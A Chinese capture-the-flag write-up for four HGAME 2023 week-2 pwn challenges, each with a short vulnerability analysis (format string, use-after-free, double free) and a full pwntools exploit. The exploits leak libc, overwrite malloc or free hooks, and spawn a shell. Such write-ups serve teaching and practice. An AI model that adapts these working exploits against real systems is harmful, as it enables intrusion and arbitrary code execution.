HGAME-2023-week2-pwn


YukkuriSay

漏洞分析

1.read不会设置缓冲区最后一个字节为’\0’ ,程序中将读取到的字符串回车改写为0,因此在输出字符串时若其中有残留地址则可泄露地址

2.gift中存在格式化字符串,但读取内容存在bss段,是非栈上的格式化字符串

利用思路

1.利用循环中read泄露栈和libc地址

(1)调试中下断点得到setbuf和栈到字符串的偏移

(2)填充掉偏移部分直到所需泄露的地址,进行地址泄露

(3)调试得到泄露到的地址和所需地址之间的偏移,直接在泄露的地址上进行加减

2.布栈

(1)输出ogg,在stack中找到最接近并且printf之后能运行到的地址,根据修改位数确定栈布局

3.利用格式化字符串进行任意地址写

(1)调试中输入8个a,8个b,8个c,获取栈布局,利用fmt工具获取三个地址偏移

(2)计算ogg低字节和低二三字节

(3)用hhn写入单字节,hn写入双字节,实现任意地址写

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('week-2.hgame.lwsec.cn',32265)
else:
    r = process(file_name)

elf = ELF(file_name)
libc = ELF('./libc-2.31.so')

def dbg():
    gdb.attach(r)

p1 = b'a' * (0xf8 - 0x10 - 6) + b'b' * 6
r.sendafter('What would you like to let Yukkri say?', p1)
r.recvuntil(b'b' * 6)

setbuffer = u64(r.recv(6).ljust(8, b'\x00')) - 204
libc_base = setbuffer - libc.sym['setbuffer']
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[1] + libc_base

r.sendlineafter('anything else?(Y/n)', b'Y')
p2 = b'a' * (0x118 - 0x18 - 6 ) + b'c' * 6
r.send(p2)

r.recvuntil(b'c' * 6)
stack = u64(r.recv(6).ljust(8, b'\x00'))
__libc_start_main  = stack +  0x8   #__libc_start_main + 24

r.sendlineafter('anything else?(Y/n)', b'Y')
p3 = p64(__libc_start_main) + p64(__libc_start_main + 1)
r.send(p3)

gadget1 = gadget & 0xff
gadget2 = (gadget>>8) & 0xffff

r.sendlineafter('anything else?(Y/n)', b'n')
p4 = '%' + str(gadget1) + 'c%8$hhn' + '%' + str((gadget2)- (gadget1)) + 'c%9$hn'
r.sendlineafter('gift for you: \n',p4)

r.interactive()

editable_note

漏洞分析

free之后未清零造成UAF漏洞

利用思路

1.填充tcache,利用unsorted bin泄露libc,计算出free_hook和system

2.利用UAF漏洞实现任意地址写,把free_hook改成system

3.创建一个内容为/bin/sh的堆并将其释放

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('week-2.hgame.lwsec.cn',30756)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index,size):
    r.sendlineafter('>', b'1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def delete(index):
    r.sendlineafter('>', b'2')
    r.sendlineafter('Index: ', str(index))

def edit(index,content):
    r.sendlineafter('>', b'3')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Content: ', content)

def show(index):
    r.sendlineafter('>', b'4')
    r.sendlineafter('Index: ', str(index))

for i in range(8):
    add(i, 0x88)

add(8, 0x88)
add(9, 0x88)

for i in range(8):
    delete(i)

show(7)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base

add(10, 0x90)
add(11, 0x90)
add(12, 0x90)

delete(10)
delete(11)
delete(12)

edit(11, p64(free_hook))
add(13, 0x90)
add(14, 0x90)
add(15, 0x90)
edit(15, p64(system))

edit(13, b'/bin/sh\x00')
delete(13)

r.interactive()

fast_note

漏洞分析

free之后未清零造成UAF漏洞

利用思路

本题和上题的区别在于创建堆之后不能再修改,因此可以利用double free实现任意地址写

1.利用unsorted bin泄露libc,计算出ogg

2.创建两个堆并去释放形成double free

3.找malloc_hook最近能够绕过大小检查可作为chunk的地址,在该地址上创建堆并将malloc_hook改写为ogg

4.利用double free会触发mallo_hook的特点解决堆栈不平衡,触发ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter('>', b'1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))
    r.sendlineafter('Content: ', content)

def delete(index):
    r.sendlineafter('>', b'2')
    r.sendlineafter('Index: ', str(index))

def show(index):
    r.sendlineafter('>', b'3')
    r.sendlineafter('Index: ', str(index))

add(0, 0x88, 'aaa')
add(1, 0x60, 'aaa')

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('/home/starrysky/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
gadget = one[1] + libc_base

add(2, 0x88, 'aaa')
add(3, 0x60, 'bbb')

delete(1)
delete(3)
delete(1)

add(4, 0x60, p64(malloc_hook - 0x23))
add(5, 0x60, 'aaa')
add(6, 0x60, 'bbb')
add(7, 0x60, p64(0) * 2 + b'\x00' * 3 + p64(gadget))

delete(5)
delete(5)

r.interactive()

new_fast_note

漏洞分析

delete中free之后未清零造成uaf漏洞

利用思路

1.填充tcache,再add一个进入unsorted bin,利用uaf漏洞showunsorted bin中的chunk,泄露libc地址并计算free_hook和system

2.填充tcache大小小于0x90,再add相同大小的chunk,double free之后进入fast bin

3.申请tcache和fast bin前两个chunk为free_hook,再申请掉fast bin中最后一个chunk,此时该chunk在free_hook地址,将其内容设置为system即可完成任意地址写

4.申请堆内容为/bin/sh,再free掉,等同于执行system(/bin/sh),即可getshell

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter('>', b'1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))
    r.sendlineafter('Content: ', content)

def delete(index):
    r.sendlineafter('>', b'2')
    r.sendlineafter('Index: ', str(index))

def show(index):
    r.sendlineafter('>', b'3')
    r.sendlineafter('Index: ', str(index))

for i in range(8):
    add(i, 0x88, 'aaa')

add(8, 0x60, 'bbb')
add(9, 0x60, 'bbb')

for i in range(8):
    delete(i)

show(7)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base
add(11, 0x10, b'/bin/sh\x00')

for i in range(8):
    add(i, 0x60, 'aaa')

for i in range(8):
    delete(i)

delete(8)
delete(9)
delete(8)

for i in range(10):
    add(i, 0x60, p64(free_hook))

add(10, 0x60, p64(system))
delete(11)

r.interactive()

  目录